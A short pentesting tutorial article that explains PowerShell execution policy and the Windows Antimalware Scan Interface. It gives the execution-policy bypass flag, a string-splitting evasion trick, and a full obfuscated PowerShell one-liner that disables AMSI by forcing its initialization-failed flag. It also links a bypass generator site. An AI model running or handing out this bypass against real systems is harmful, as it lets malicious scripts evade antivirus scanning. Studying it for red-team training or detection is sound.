Active Directory / ARTICLE

execution policy & AMSI Bypass

بسم الله والصلاة والسلام على رسول الله 
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار

execution policy Bypass

A PowerShell execution policy is a safety feature that determines whether scripts can run, preventing accidental execution of malicious code. It is not a security boundary, but a policy to prevent shooting yourself in the foot

example :

To bypass the execution policy, run this command.\
However, this will only apply to the current session.

powershell -ep bypass 

AMSI Bypass

The Windows Antimalware Scan Interface (AMSI) ⇒ is a versatile standard that allows applications and services to integrate with antimalware products to scan script content (PowerShell, VBScript, JavaScript, VBA) at runtime

When a script is executed, the application calls the AMSI API via amsi.dll to analyze content, enabling protection against non-browser-based fileless malware.

It allows any installed antivirus provider to analyze the script, facilitating deeper inspection of memory streams and deobfuscation

from process hacker

amsiscanbuffer ⇒ API function with AMSI , It receives the data from a script host (e.g., powershell.exe), checks it with the registered antivirus, and returns an AMSI_RESULT indicating whether to allow or block the code.

try

simple evasion

If you type something like AmsiScanBuffer in PowerShell, AMSI will scan what you enter and may flag it as malicious content. This is because the string itself can look suspicious, as if an attacker is trying to bypass or interfere with AMSI (Windows Antimalware Scan Interface).

simple AMSI Bypass ⇒ Splitting characters to bypass AMSI

$a="AMS"
$b="i"
$123="buffer"
$f= $a +$b + "scan" + $123

or using this payload

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Done ⇒ amsi bypassed

You can also use this website; it generates commands that can be used for AMSI bypass.

https://amsi.fail/


resource

https://medium.com/@drop_tables/amsi-bypass-in-memory-patching-e9b4abbc617e

https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

https://www.trendmicro.com/en/research/22/l/detecting-windows-amsi-bypass-techniques.html


سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك
← All journal articles
Scroll to Top
Home